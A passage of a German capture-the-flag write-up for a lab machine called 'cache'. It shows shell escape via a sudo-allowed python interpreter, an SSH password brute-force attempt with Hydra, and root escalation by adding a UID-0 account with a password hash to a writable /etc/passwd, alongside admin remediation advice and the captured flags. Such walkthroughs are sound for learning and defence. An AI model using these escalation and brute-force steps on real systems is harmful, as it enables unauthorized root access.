Empfehlung (Pentester): Nutzen Sie die `sudo`-Regel, um als `jeff` eine Shell zu starten (`sudo -u jeff /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')"`).
Empfehlung (Admin): Überprüfen Sie diese unsichere `sudo`-Regel. Vermeiden Sie es, Benutzern die Ausführung von Interpretern wie Python als andere Benutzer zu erlauben, insbesondere ohne Passwort.
abraham jeff
Analyse: Listet den Inhalt von `/home` und bestätigt die Existenz des Home-Verzeichnisses für `jeff`.
Bewertung: Bestätigt das Ziel der horizontalen Eskalation.
Analyse: Standard-Enumerationsschritte als `abraham`: Suche nach SUID-Dateien, Überprüfung offener Ports mit `ss`, Auslesen der User-Flag, Überprüfung von Cronjobs, Untersuchung von `/opt`, `/var/mail`, `/var/backups` und der Webserver-Verzeichnisse.
Bewertung: Die SUID-Suche findet keine ungewöhnlichen Dateien. `ss` bestätigt die bekannten Ports 22, 80, 3128 und den internen Port 21500. Die User-Flag wird erfolgreich gelesen. `/etc/crontab`, `/opt`, `/var/mail`, `/var/backups` enthalten keine offensichtlichen Hinweise für eine Eskalation. Die Webserver-Verzeichnisse bestätigen die Funde aus der Proxy-Enumeration (`/var/www/proxy/cloud/key`).
Empfehlung (Pentester): Fahren Sie mit der Ausnutzung der `sudo`-Regel fort, um zu `jeff` zu wechseln.
Empfehlung (Admin): Regelmäßige Überprüfung von Systemkonfigurationen, Cronjobs und Verzeichnisinhalten auf Anomalien.
917654 60 -rwsr-xr-x 1 root root 59704 mar 23 2023 /usr/bin/mount 914039 52 -rwsr-xr-x 1 root root 52880 mar 23 2023 /usr/bin/chsh 914042 68 -rwsr-xr-x 1 root root 68248 mar 23 2023 /usr/bin/passwd 918251 72 -rwsr-xr-x 1 root root 72000 mar 23 2023 /usr/bin/su 945986 276 -rwsr-xr-x 1 root root 281624 jun 27 2023 /usr/bin/sudo 914041 88 -rwsr-xr-x 1 root root 88496 mar 23 2023 /usr/bin/gpasswd 914038 64 -rwsr-xr-x 1 root root 62672 mar 23 2023 /usr/bin/chfn 917656 36 -rwsr-xr-x 1 root root 35128 mar 23 2023 /usr/bin/umount 917500 48 -rwsr-xr-x 1 root root 48896 mar 23 2023 /usr/bin/newgrp 922664 52 -rwsr-xr-- 1 root messagebus 51272 sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 918689 640 -rwsr-xr-x 1 root root 653888 dic 19 2023 /usr/lib/openssh/ssh-keysign
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 127.0.0.1:21500 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 256 *:3128 *:* LISTEN 0 511 *:80 *:*
total 28 drwxr-xr-x 3 abraham abraham 4096 ene 12 2024 . drwxr-xr-x 4 root root 4096 ene 12 2024 .. lrwxrwxrwx 1 root root 9 nov 15 2023 .bash_history -> /dev/null -rw-r--r-- 1 abraham abraham 220 nov 15 2023 .bash_logout -rw-r--r-- 1 abraham abraham 3526 nov 15 2023 .bashrc -rw-r--r-- 1 abraham abraham 807 nov 15 2023 .profile drwxr-xr-x 2 abraham abraham 4096 ene 12 2024 .ssh -r--r--r-- 1 abraham abraham 33 ene 12 2024 user.txt
a9d46582a96fabcaa2736d6bed398144
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Analyse: Die `sudo`-Regel wird genutzt, um als `jeff` eine Bash-Shell zu starten (`os.system('/bin/bash')`). Der Prompt wechselt zu `jeff@cache`.
Bewertung: Horizontale Eskalation zu `jeff` erfolgreich.
Empfehlung (Pentester): Führen Sie die Enumeration nun als `jeff` durch (`sudo -l`, Home-Verzeichnis, etc.).
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.
[sudo] password for jeff: <-- Passwort benötigt
total 20 drwxr-xr-x 2 jeff jeff 4096 ene 12 2024 . drwxr-xr-x 4 root root 4096 ene 12 2024 .. lrwxrwxrwx 1 root root 9 ene 12 2024 .bash_history -> /dev/null -rw-r--r-- 1 jeff jeff 220 abr 23 2023 .bash_logout -rw-r--r-- 1 jeff jeff 3526 abr 23 2023 .bashrc -rw-r--r-- 1 jeff jeff 807 abr 23 2023 .profile
Analyse: `sudo -l` als `jeff` erfordert ein Passwort, das nicht bekannt ist. Jeff hat also keine `sudo`-Rechte. Das Home-Verzeichnis von `jeff` enthält keine auffälligen Dateien.
Bewertung: Keine direkten `sudo`-Rechte für `jeff`. Der nächste Schritt ist unklar.
Empfehlung (Pentester): Versuchen Sie, das Passwort für `jeff` zu erraten oder zu bruteforcen (z.B. mit `su` oder SSH). Suchen Sie nach anderen Fehlkonfigurationen oder Schwachstellen, die `jeff` ausnutzen könnte.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer nur die minimal notwendigen Rechte haben.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-06 23:39:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://cache.nyx:22/
[ERROR] target ssh://192.168.2.128:22/ does not support password authentication (method reply 4).
Analyse: Es wird versucht, das SSH-Passwort für den Benutzer `jeff` mittels Hydra und der `rockyou.txt`-Wortliste zu bruteforcen.
Bewertung: Der Angriff schlägt fehl, da der SSH-Server anscheinend keine Passwort-Authentifizierung erlaubt ("does not support password authentication"). Dies ist eine gute Sicherheitskonfiguration.
Empfehlung (Pentester): Passwort-Bruteforce gegen SSH ist hier nicht möglich. Suchen Sie nach anderen Wegen zur Eskalation von `jeff` aus. Überprüfen Sie Dateiberechtigungen, laufende Prozesse, Kernel-Version etc.
Empfehlung (Admin): Deaktivieren Sie die Passwort-Authentifizierung für SSH und erlauben Sie nur Schlüssel-basierte Authentifizierung. Dies erhöht die Sicherheit erheblich.
Analyse: Der Angreifer (als Benutzer `jeff`) untersucht die Berechtigungen der Datei `/etc/passwd`. `ls -la` zeigt `-rw-rw-r--+`. Dies ist höchst ungewöhnlich und gefährlich. Es bedeutet, dass der Besitzer (`root`) und die Gruppe (`root`) Lese- und Schreibrechte haben, und "andere" (also jeder Benutzer, einschließlich `jeff`) haben Leserechte. Das `+`-Zeichen deutet auf zusätzliche ACLs (Access Control Lists) hin, aber die grundlegenden Berechtigungen erlauben bereits Gruppenschreibzugriff.
Bewertung: Kritische Fehlkonfiguration! Jeder Benutzer in der Gruppe `root` (oder möglicherweise sogar jeder Benutzer, abhängig von den ACLs, aber zumindest die Gruppe) kann `/etc/passwd` ändern. Dies erlaubt das Hinzufügen neuer Benutzer oder das Ändern bestehender Einträge, um Root-Rechte zu erlangen.
Empfehlung (Pentester): Bearbeiten Sie `/etc/passwd` (z.B. mit `nano`). Fügen Sie eine neue Zeile für einen Benutzer hinzu (z.B. `hacker`), setzen Sie UID und GID auf 0 (Root-Rechte), geben Sie `/bin/bash` als Shell an und fügen Sie einen bekannten Passwort-Hash ein (z.B. für das Passwort "password"). Wechseln Sie dann mit `su hacker` zu diesem neuen Root-Benutzer.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen für `/etc/passwd` sofort auf `-rw-r--r--`! Untersuchen Sie, warum diese falschen Berechtigungen gesetzt wurden. Überprüfen Sie die Integrität der Datei `/etc/passwd`.
-rw-rw-r--+ 1 root root 1106 ene 12 2024 /etc/passwd
Analyse: Der Benutzer `jeff` öffnet `/etc/passwd` mit `nano`. Eine neue Zeile wird hinzugefügt: `fuck:$6$...:0:0:root:/root:/bin/bash`. Diese Zeile erstellt einen neuen Benutzer namens `fuck` mit UID 0 (root) und GID 0 (root), dem Home-Verzeichnis `/root` und der `/bin/bash`-Shell. Der Passwort-Hash `$6$...` ist ein SHA512-Hash (erkennbar am `$6$`).
Bewertung: Direkte Ausnutzung der Schreibberechtigung auf `/etc/passwd`, um einen neuen Root-Benutzer anzulegen.
Empfehlung (Pentester): Merken Sie sich das Passwort, das zu dem eingefügten Hash gehört (oder verwenden Sie einen Hash für ein bekanntes Passwort). Verwenden Sie `su fuck`, um Root zu werden.
Empfehlung (Admin): Beheben Sie die Berechtigungen. Überwachen Sie Änderungen an kritischen Dateien wie `/etc/passwd` (z.B. mit AIDE oder Tripwire).
# Inhalt der Datei /etc/passwd nach Bearbeitung (Auszug) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ... fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
Password:
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `su fuck` wird ausgeführt. Nach Eingabe des zum Hash passenden Passworts wechselt der Benutzer erfolgreich zu `fuck`, der Root-Rechte hat, wie durch den Prompt `root@cache` und die Ausgabe von `id` bestätigt wird.
Bewertung: Fantastisch! Privilege Escalation zu Root erfolgreich abgeschlossen durch Manipulation von `/etc/passwd`.
Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag. Bereinigen Sie ggf. den hinzugefügten Benutzer aus `/etc/passwd`.
Empfehlung (Admin): System kompromittiert. Berechtigungen korrigieren, Systemintegrität prüfen, forensische Analyse durchführen.
root.txt
4034da58b08629f91fdbbb89bdd869a4
Analyse: Wechsel in das Root-Home-Verzeichnis und Auslesen der Root-Flag aus `root.txt`.
Bewertung: Root-Flag erfolgreich gefunden.